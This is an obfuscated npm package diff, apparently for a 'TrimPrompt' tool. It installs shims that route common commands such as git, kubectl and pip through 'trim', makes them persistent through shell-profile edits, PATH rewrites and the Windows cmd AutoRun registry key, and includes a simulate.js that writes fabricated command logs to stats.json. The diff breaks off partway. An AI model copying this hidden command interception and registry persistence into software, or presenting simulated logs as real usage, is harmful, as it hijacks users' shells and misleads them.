_0x13293b=Object['getOwnPropertyNames']||function(_0xb39e90){const _0x4ab099=a0_0x89ff;var _0x3333bb=[];for(var _0x1070e5 in _0xb39e90)if(Object['prototype'][_0x4ab099(0xf6)][_0x4ab099(0x11a)](_0xb39e90,_0x1070e5))_0x3333bb[_0x3333bb[_0x4ab099(0xfa)]]=_0x1070e5;return _0x3333bb;},_0x13293b(_0x262b81);};return function(_0x14f0e3){const _0x1e2830=a0_0x89ff;if(_0x14f0e3&&_0x14f0e3[_0x1e2830(0xe5)])return _0x14f0e3;var _0x107982={};if(_0x14f0e3!=null){for(var _0x38738e=_0x13293b(_0x14f0e3),_0x4cef06=0x0;_0x4cef06<_0x38738e[_0x1e2830(0xfa)];_0x4cef06++)if(_0x38738e[_0x4cef06]!==_0x1e2830(0x114))__createBinding(_0x107982,_0x14f0e3,_0x38738e[_0x4cef06]);}return __setModuleDefault(_0x107982,_0x14f0e3),_0x107982;};}());Object[a0_0x3a2dde(0xab)](exports,a0_0x3a2dde(0xe5),{'value':!![]}),exports[a0_0x3a2dde(0xc2)]=installShims,exports[a0_0x3a2dde(0xe0)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3a2dde(0xd9))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0x3a2dde(0xf0),a0_0x3a2dde(0xba),'rg','ruff',a0_0x3a2dde(0x110),'gh',a0_0x3a2dde(0xae),a0_0x3a2dde(0xe3),a0_0x3a2dde(0xa7),a0_0x3a2dde(0xe6),a0_0x3a2dde(0xec),a0_0x3a2dde(0xc0),'kubectl',a0_0x3a2dde(0xa9),a0_0x3a2dde(0xbe),a0_0x3a2dde(0xdb),'pip3','go'],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){const _0xb54f7b=a0_0x3a2dde;return require(_0xb54f7b(0xd8))[_0xb54f7b(0xaa)];}function a0_0x1f19(){const _0x16df6d=['powershell.exe','$PROFILE.CurrentUserCurrentHost',';%PATH%\x22','default','\x20commands.\x0a\x0a','\x20\x22$@\x22\x0a','.trimprompt','readFileSync','.bashrc','call','message','replace','npm','join','docker','execSync','defineProperty','\x0a#\x20','755','glab','push','get','.cmd','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','homedir','7354675KjKRil','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','10025896xjyykH','@echo\x20off\x0atrim\x20','\x20&\x20','grep',';\x22\x20+\x20$env:PATH\x0a','shims',':$PATH\x22','pytest','\x22\x20set\x20\x22PATH=','yarn','trim.ps1','installShims','18elFWmm','map','__createBinding','\x20%*\x0a','includes','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','\x20@args\x0a','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','32735568PziOFR','getOwnPropertyDescriptor','filter','Remove-ItemProperty\x20-Path\x20\x27','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','chmodSync','10NfVqGO','execFileSync','-Command','Failed\x20to\x20install\x20shims:\x20','create','export\x20PATH=\x22','platform','child_process','path','powershell\x20-NoProfile\x20-Command\x20\x22','pip','22VEdUVQ','powershell','__setModuleDefault','trim','uninstallShims','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','unlinkSync','cargo','New-Item\x20-Path\x20\x27','__esModule','pnpm','writable','9eDnxFg','.ps1','\x0aexport\x20PATH=\x22','681135RzDwej','npx','mkdirSync','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','.bash_profile','read','ignore','152454RaQfnH','utf8','some','4pVnVYO','hasOwnProperty','\x0a$env:PATH\x20=\x20\x22','4718570iGlvuT','existsSync','length','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','toLowerCase','.zshrc','writeFileSync','Failed\x20to\x20uninstall\x20shims:\x20','appendFileSync','-NoProfile','__importStar','$PROFILE.CurrentUserAllHosts','pipe',':$PATH\x22\x0a','split','win32','rmdirSync','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','\x27,\x20\x27User\x27)','2724897fhrTwp','if\x20exist\x20\x22','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','git'];a0_0x1f19=function(){return _0x16df6d;};return a0_0x1f19();}function getExecFileSync(){const _0x110a6d=a0_0x3a2dde;return require(_0x110a6d(0xd8))[_0x110a6d(0xd2)];}function ensureProfileContains(_0x301de6,_0x1be14a,_0x2904a7){const _0xe8c261=a0_0x3a2dde;try{const _0xbc1aac=path['dirname'](_0x301de6);!fs[_0xe8c261(0xf9)](_0xbc1aac)&&fs['mkdirSync'](_0xbc1aac,{'recursive':!![]});if(fs[_0xe8c261(0xf9)](_0x301de6)){const _0x1372d2=fs[_0xe8c261(0x118)](_0x301de6,'utf8');if(_0x1372d2[_0xe8c261(0xc7)](_0x1be14a))return;fs[_0xe8c261(0x100)](_0x301de6,_0x2904a7,_0xe8c261(0xf3));}else fs['writeFileSync'](_0x301de6,_0x2904a7,_0xe8c261(0xf3));}catch{}}function removeProfileBlock(_0x5895e4,_0x696296){const _0x215c1f=a0_0x3a2dde;try{if(!fs[_0x215c1f(0xf9)](_0x5895e4))return;const _0x1ff1a1=fs['readFileSync'](_0x5895e4,_0x215c1f(0xf3));if(!_0x1ff1a1[_0x215c1f(0xc7)](_0x696296))return;const _0x49b64c=_0x1ff1a1[_0x215c1f(0x106)]('\x0a'),_0x534eb5=[];let _0x45f852=![];for(let _0x2d57e6=0x0;_0x2d57e6<_0x49b64c[_0x215c1f(0xfa)];_0x2d57e6++){if(_0x49b64c[_0x2d57e6][_0x215c1f(0xc7)](_0x696296)){_0x45f852=!![];continue;}if(_0x45f852){_0x45f852=![];continue;}_0x534eb5['push'](_0x49b64c[_0x2d57e6]);}const _0x577c5f=_0x534eb5[_0x215c1f(0xa8)]('\x0a')[_0x215c1f(0xa6)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x5895e4,_0x577c5f,'utf8');}catch{}}function collectPowerShellProfiles(){const _0x307ea5=a0_0x3a2dde,_0x26db62=getExecSync(),_0x1155b8=[],_0x499311=[['powershell',_0x307ea5(0x112)],[_0x307ea5(0xdd),_0x307ea5(0x103)]];try{_0x26db62('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x307ea5(0xf1)}),_0x499311['push'](['pwsh',_0x307ea5(0x103)]);}catch{}for(const [_0x52e726,_0x43c90d]of _0x499311){try{const _0x48b79f=_0x26db62(_0x52e726+'\x20-NoProfile\x20-Command\x20\x22'+_0x43c90d+'\x22',{'encoding':'utf8'})[_0x307ea5(0xdf)]();_0x48b79f&&!_0x1155b8[_0x307ea5(0xf4)](_0x25b657=>_0x25b657[_0x307ea5(0xfc)]()===_0x48b79f[_0x307ea5(0xfc)]())&&_0x1155b8[_0x307ea5(0xaf)](_0x48b79f);}catch{}}return _0x1155b8;}function getBashProfilesWindows(){const _0x27e5fb=a0_0x3a2dde,_0x413288=os['homedir']();return[_0x27e5fb(0x119),_0x27e5fb(0xef)][_0x27e5fb(0xc4)](_0x545195=>path[_0x27e5fb(0xa8)](_0x413288,_0x545195));}function getBroadcastCommand(){const _0xf41190=a0_0x3a2dde;return _0xf41190(0xb3);}function installShims(){const _0x2eeaf7=a0_0x3a2dde,_0x39a940=path[_0x2eeaf7(0xa8)](os[_0x2eeaf7(0xb4)](),'.trimprompt',_0x2eeaf7(0xbc));try{!fs[_0x2eeaf7(0xf9)](_0x39a940)&&fs[_0x2eeaf7(0xed)](_0x39a940,{'recursive':!![]});const _0x2efcc2=os[_0x2eeaf7(0xd7)]()===_0x2eeaf7(0x107);for(const _0x517982 of SHIMMED_COMMANDS){if(_0x2efcc2){const _0x1556cf=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982+_0x2eeaf7(0xb1));fs[_0x2eeaf7(0xfe)](_0x1556cf,_0x2eeaf7(0xb8)+_0x517982+_0x2eeaf7(0xc6),_0x2eeaf7(0xf3));const _0x4155ce=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982+_0x2eeaf7(0xe9));fs[_0x2eeaf7(0xfe)](_0x4155ce,'&\x20trim\x20'+_0x517982+_0x2eeaf7(0xc9),_0x2eeaf7(0xf3));const _0xf7daa7=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982);fs[_0x2eeaf7(0xfe)](_0xf7daa7,'#!/bin/sh\x0aexec\x20trim\x20'+_0x517982+_0x2eeaf7(0x116),_0x2eeaf7(0xf3));}else{const _0x4ce78a=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982);fs[_0x2eeaf7(0xfe)](_0x4ce78a,'#!/bin/sh\x0aexec\x20trim\x20'+_0x517982+_0x2eeaf7(0x116),_0x2eeaf7(0xf3)),fs[_0x2eeaf7(0xd0)](_0x4ce78a,_0x2eeaf7(0xad));}}let _0x3dbe5c=![],_0x11f315='';if(_0x2efcc2)try{const _0x38887b=getExecSync(),_0x5c8444=_0x2eeaf7(0xac)+PROFILE_MARKER+_0x2eeaf7(0xf7)+_0x39a940+_0x2eeaf7(0xbb),_0x3bba34=collectPowerShellProfiles();for(const _0x4b8908 of _0x3bba34){ensureProfileContains(_0x4b8908,_0x39a940,_0x5c8444);}try{const _0x16855a=getExecFileSync(),_0x3cd951=_0x2eeaf7(0x10c)+_0x39a940+_0x2eeaf7(0xbf)+_0x39a940+_0x2eeaf7(0x113),_0x1d5266=_0x2eeaf7(0xcf);let _0x2f39ee='';try{const _0x167b74=_0x2eeaf7(0xee)+_0x1d5266+_0x2eeaf7(0xe1);_0x2f39ee=_0x16855a(_0x2eeaf7(0x111),[_0x2eeaf7(0x101),_0x2eeaf7(0xd3),_0x167b74],{'encoding':_0x2eeaf7(0xf3),'stdio':[_0x2eeaf7(0x104),_0x2eeaf7(0x104),_0x2eeaf7(0xf1)]})[_0x2eeaf7(0xdf)]();}catch{}if(!_0x2f39ee[_0x2eeaf7(0xc7)](_0x39a940)){const _0x43751f=_0x2f39ee?_0x2f39ee+_0x2eeaf7(0xb9)+_0x3cd951:_0x3cd951,_0x1895ff=_0x2eeaf7(0xe4)+_0x1d5266+_0x2eeaf7(0x10e)+_0x1d5266+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x43751f+'\x27';_0x16855a(_0x2eeaf7(0x111),[_0x2eeaf7(0x101),_0x2eeaf7(0xd3),_0x1895ff],{'stdio':_0x2eeaf7(0xf1)});}}catch{}try{const _0x118e05=_0x39a940[_0x2eeaf7(0xa6)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x442a21,_0xf1af22)=>'/'+_0xf1af22[_0x2eeaf7(0xfc)]()),_0x1cac12=_0x2eeaf7(0xac)+PROFILE_MARKER+_0x2eeaf7(0xea)+_0x118e05+_0x2eeaf7(0x105),_0x44d83b=getBashProfilesWindows();let _0x5ab5af=![];for(const _0x479529 of _0x44d83b){fs['existsSync'](_0x479529)&&(ensureProfileContains(_0x479529,_0x118e05,_0x1cac12),_0x5ab5af=!![]);}!_0x5ab5af&&ensureProfileContains(_0x44d83b[0x0],_0x118e05,_0x1cac12);}catch{}const _0x32c702=_0x2eeaf7(0xb2),_0x4a9a7c=_0x38887b(_0x2eeaf7(0xda)+_0x32c702+'\x22',{'encoding':_0x2eeaf7(0xf3),'stdio':[_0x2eeaf7(0x104),'pipe','ignore']})[_0x2eeaf7(0xdf)]();if(!_0x4a9a7c[_0x2eeaf7(0xc7)](_0x39a940)){const _0x34f0b2=_0x39a940+';'+_0x4a9a7c,_0x14a7c4=_0x34f0b2[_0x2eeaf7(0xa6)](/'/g,'\x27\x27'),_0xad66a7=_0x2eeaf7(0xfb)+_0x14a7c4+'\x27,\x20\x27User\x27)';_0x38887b(_0x2eeaf7(0xda)+_0xad66a7+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x4d914f=path[_0x2eeaf7(0xa8)](process.env.APPDATA||'','npm',_0x2eeaf7(0xc1));if(fs[_0x2eeaf7(0xf9)](_0x4d914f))try{fs['unlinkSync'](_0x4d914f);}catch{}_0x3dbe5c=!![];}catch(_0x18b921){_0x11f315=_0x2eeaf7(0xca)+_0x39a940;}else try{const _0x30ca1a=_0x2eeaf7(0xd6)+_0x39a940+':$PATH\x22\x0a',_0x5772d3=os[_0x2eeaf7(0xb4)](),_0x57ad60=[_0x2eeaf7(0x119),_0x2eeaf7(0xfd),_0x2eeaf7(0xef),'.profile'];let _0x119eeb=![];for(const _0xa462b7 of _0x57ad60){const _0xbca1b6=path[_0x2eeaf7(0xa8)](_0x5772d3,_0xa462b7);fs[_0x2eeaf7(0xf9)](_0xbca1b6)&&(ensureProfileContains(_0xbca1b6,_0x39a940,_0x2eeaf7(0xac)+PROFILE_MARKER+'\x0a'+_0x30ca1a),_0x119eeb=!![]);}if(!_0x119eeb){const _0x244e22=path[_0x2eeaf7(0xa8)](_0x5772d3,_0x2eeaf7(0x119));ensureProfileContains(_0x244e22,_0x39a940,_0x2eeaf7(0xac)+PROFILE_MARKER+'\x0a'+_0x30ca1a);}_0x3dbe5c=!![];}catch(_0x4dcfbc){_0x11f315='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x39a940+_0x2eeaf7(0xbd);}const _0x561ffd=_0x2eeaf7(0xc8)+SHIMMED_COMMANDS[_0x2eeaf7(0xfa)]+_0x2eeaf7(0x115),_0x4384d1=_0x3dbe5c?_0x561ffd+'[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.':_0x561ffd+_0x2eeaf7(0x10f)+_0x11f315;return{'success':!![],'pathDir':_0x39a940,'message':_0x4384d1};}catch(_0x1c34b2){return{'success':![],'pathDir':_0x39a940,'message':_0x2eeaf7(0xd4)+_0x1c34b2[_0x2eeaf7(0xa5)]};}}function uninstallShims(){const _0x98c753=a0_0x3a2dde,_0x44359b=path['join'](os[_0x98c753(0xb4)](),_0x98c753(0x117),'shims'),_0x4f01c5=os['platform']()===_0x98c753(0x107);try{if(_0x4f01c5){const _0x23dfbb=getExecSync();try{const _0x501426=getExecFileSync(),_0x5537a1='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x273822=_0x98c753(0xee)+_0x5537a1+_0x98c753(0xe1),_0x580310=_0x501426(_0x98c753(0x111),[_0x98c753(0x101),_0x98c753(0xd3),_0x273822],{'encoding':'utf8','stdio':[_0x98c753(0x104),_0x98c753(0x104),_0x98c753(0xf1)]})[_0x98c753(0xdf)]();if(_0x580310[_0x98c753(0xc7)](_0x44359b)){const _0x1b48a4=_0x580310['split'](_0x98c753(0xb9))[_0x98c753(0xcd)](_0x2cc14a=>!_0x2cc14a[_0x98c753(0xc7)](_0x44359b));if(_0x1b48a4[_0x98c753(0xfa)]===0x0){const _0x5656be=_0x98c753(0xce)+_0x5537a1+_0x98c753(0x109);_0x501426('powershell.exe',[_0x98c753(0x101),_0x98c753(0xd3),_0x5656be],{'stdio':'ignore'});}else{const _0x396e3d=_0x1b48a4[_0x98c753(0xa8)](_0x98c753(0xb9)),_0x4a54ab='Set-ItemProperty\x20-Path\x20\x27'+_0x5537a1+_0x98c753(0xb6)+_0x396e3d+'\x27';_0x501426(_0x98c753(0x111),[_0x98c753(0x101),'-Command',_0x4a54ab],{'stdio':'ignore'});}}}catch{}try{const _0x764e47=collectPowerShellProfiles();for(const _0x10acd8 of _0x764e47){removeProfileBlock(_0x10acd8,PROFILE_MARKER);}}catch{}try{for(const _0x88b3db of getBashProfilesWindows()){removeProfileBlock(_0x88b3db,PROFILE_MARKER);}}catch{}try{const _0x35b623='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0xf51a96=_0x23dfbb(_0x98c753(0xda)+_0x35b623+'\x22',{'encoding':_0x98c753(0xf3),'stdio':[_0x98c753(0x104),_0x98c753(0x104),_0x98c753(0xf1)]})[_0x98c753(0xdf)]();if(_0xf51a96['includes'](_0x44359b)){const _0x5c0ba6=_0xf51a96[_0x98c753(0x106)](';')[_0x98c753(0xcd)](_0x14914d=>_0x14914d[_0x98c753(0xdf)]()[_0x98c753(0xfc)]()!==_0x44359b['toLowerCase']())['join'](';'),_0x3073d4=_0x5c0ba6[_0x98c753(0xa6)](/'/g,'\x27\x27'),_0x1c335e=_0x98c753(0xfb)+_0x3073d4+_0x98c753(0x10a);_0x23dfbb('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1c335e+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x98c753(0xf1)});}}catch{}}else{const _0x51e1ef=os['homedir'](),_0x2d0cf1=['.bashrc',_0x98c753(0xfd),'.bash_profile','.profile'];for(const _0x35233e of _0x2d0cf1){removeProfileBlock(path[_0x98c753(0xa8)](_0x51e1ef,_0x35233e),PROFILE_MARKER);}}if(fs[_0x98c753(0xf9)](_0x44359b)){const _0x5246ca=fs['readdirSync'](_0x44359b);for(const _0x32cff6 of _0x5246ca){fs[_0x98c753(0xe2)](path[_0x98c753(0xa8)](_0x44359b,_0x32cff6));}fs[_0x98c753(0x108)](_0x44359b);}return{'success':!![],'message':_0x98c753(0x10d)};}catch(_0x3dc12d){return{'success':![],'message':_0x98c753(0xff)+_0x3dc12d[_0x98c753(0xa5)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x38ac(){const _0xf0dc41=['log','351117GhdJyG','now','10kWlYsx','__esModule','npm\x20run\x20lint:\x20✖\x202\x20warnings','raw','gpt-4o','tracker','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','length','./tracker','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','claude-3-5-sonnet','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','floor','test\x20tests::test_case_','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','656XFOpzq','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','homedir','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','env','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','1891278bookQv','getLogs','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','writeFileSync','gemini-1-5-flash','defineProperty','timestamp','npm\x20install\x20lodash\x20express\x20uuid\x20react','claude-3-opus','path','4NdxVKX','gpt-4o-mini','utf8','stats.json','exitCode','git\x20log\x20-n\x205','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','repeat','git\x20diff\x20main','found\x200\x20vulnerabilities\x0a','222970SwoTfp','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','logExecution','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','toISOString','cargo\x20test','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','1023738TSKRKy','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','10ohqDou','55vwmsxk','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','13875tweoeq','random','3276kklqLE','Completed\x203\x20of\x203\x20assets\x20successfully.','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','782760VOnghP'];a0_0x38ac=function(){return _0xf0dc41;};return a0_0x38ac();}const a0_0x5df326=a0_0x34ee;(function(_0x519e10,_0x43a5ef){const _0x20e7fa=a0_0x34ee,_0x9db0c2=_0x519e10();while(!![]){try{const _0xb7b071=parseInt(_0x20e7fa(0xa8))/0x1*(-parseInt(_0x20e7fa(0xa5))/0x2)+-parseInt(_0x20e7fa(0x6a))/0x3+parseInt(_0x20e7fa(0x8f))/0x4*(parseInt(_0x20e7fa(0x9a))/0x5)+-parseInt(_0x20e7fa(0xa3))/0x6+-parseInt(_0x20e7fa(0xaa))/0x7*(parseInt(_0x20e7fa(0x7b))/0x8)+parseInt(_0x20e7fa(0x85))/0x9*(parseInt(_0x20e7fa(0x6c))/0xa)+-parseInt(_0x20e7fa(0xa6))/0xb*(-parseInt(_0x20e7fa(0x68))/0xc);if(_0xb7b071===_0x43a5ef)break;else _0x9db0c2['push'](_0x9db0c2['shift']());}catch(_0x2a133d){_0x9db0c2['push'](_0x9db0c2['shift']());}}}(a0_0x38ac,0x2d481));Object[a0_0x5df326(0x8a)](exports,a0_0x5df326(0x6d),{'value':!![]});const tracker_1=require(a0_0x5df326(0x74));console[a0_0x5df326(0x69)](a0_0x5df326(0x9d));const models=[a0_0x5df326(0x76),a0_0x5df326(0x70),a0_0x5df326(0x90),'gemini-1-5-pro',a0_0x5df326(0x89),a0_0x5df326(0x8d)],commands=[{'cmd':a0_0x5df326(0x98),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x5df326(0x97)](0x32),'comp':a0_0x5df326(0x75),'exitCode':0x0},{'cmd':a0_0x5df326(0x9f),'raw':a0_0x5df326(0x65)+a0_0x5df326(0x79)[a0_0x5df326(0x97)](0x28)+a0_0x5df326(0xa4),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x5df326(0x8c),'raw':a0_0x5df326(0x96)+a0_0x5df326(0x80)+a0_0x5df326(0x99),'comp':a0_0x5df326(0x77),'exitCode':0x0},{'cmd':a0_0x5df326(0xa0),'raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+a0_0x5df326(0x7d)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x5df326(0x64),'comp':a0_0x5df326(0xa2),'exitCode':0x0},{'cmd':'kubectl\x20get\x20pods\x20-n\x20production','raw':a0_0x5df326(0x95)+a0_0x5df326(0x7f)+a0_0x5df326(0x66)+a0_0x5df326(0x67)+a0_0x5df326(0xa7),'comp':a0_0x5df326(0x82),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':a0_0x5df326(0xa1)+a0_0x5df326(0x84)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x5df326(0x7c),'exitCode':0x0},{'cmd':a0_0x5df326(0x94),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x5df326(0x7a),'comp':a0_0x5df326(0x9b),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x5df326(0x87)+a0_0x5df326(0x83)+a0_0x5df326(0x72),'comp':a0_0x5df326(0x6e),'exitCode':0x0}],startTime=Date[a0_0x5df326(0x6b)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x5df326(0x73)]],commandItem=commands[Math[a0_0x5df326(0x78)](Math[a0_0x5df326(0xa9)]()*commands[a0_0x5df326(0x73)])];process[a0_0x5df326(0x81)]['TRIMPROMPT_MODEL']=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x5df326(0x9e)](),log=tracker_1[a0_0x5df326(0x71)][a0_0x5df326(0x9c)](commandItem['cmd'],commandItem[a0_0x5df326(0x6f)],commandItem['comp'],commandItem[a0_0x5df326(0x93)]),logs=tracker_1[a0_0x5df326(0x71)][a0_0x5df326(0x86)]();logs[a0_0x5df326(0x73)]>0x0&&(logs[logs['length']-0x1][a0_0x5df326(0x8b)]=timestamp,require('fs')[a0_0x5df326(0x88)](require(a0_0x5df326(0x8e))['join'](require('os')[a0_0x5df326(0x7e)](),'.trimprompt',a0_0x5df326(0x92)),JSON['stringify'](logs,null,0x2),a0_0x5df326(0x91)));}function a0_0x34ee(_0x4b8e64,_0x14cbc2){const _0x38ac6b=a0_0x38ac();return a0_0x34ee=function(_0x34ee37,_0x447894){_0x34ee37=_0x34ee37-0x64;let _0x43990d=_0x38ac6b[_0x34ee37];return _0x43990d;},a0_0x34ee(_0x4b8e64,_0x14cbc2);}console[a0_0x5df326(0x69)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
1
+ 'use strict';const a0_0x5f4581=a0_0xa857;(function(_0x4501d4,_0x49f18c){const _0xd7f8b4=a0_0xa857,_0x1c394c=_0x4501d4();while(!![]){try{const _0x58d036=-parseInt(_0xd7f8b4(0x1b5))/0x1+-parseInt(_0xd7f8b4(0x18b))/0x2+parseInt(_0xd7f8b4(0x196))/0x3*(parseInt(_0xd7f8b4(0x1a8))/0x4)+-parseInt(_0xd7f8b4(0x1b3))/0x5+parseInt(_0xd7f8b4(0x1a6))/0x6*(-parseInt(_0xd7f8b4(0x1c0))/0x7)+parseInt(_0xd7f8b4(0x199))/0x8*(-parseInt(_0xd7f8b4(0x1bb))/0x9)+parseInt(_0xd7f8b4(0x1a5))/0xa;if(_0x58d036===_0x49f18c)break;else _0x1c394c['push'](_0x1c394c['shift']());}catch(_0x2e444b){_0x1c394c['push'](_0x1c394c['shift']());}}}(a0_0x1eab,0xacb36));function a0_0x1eab(){const 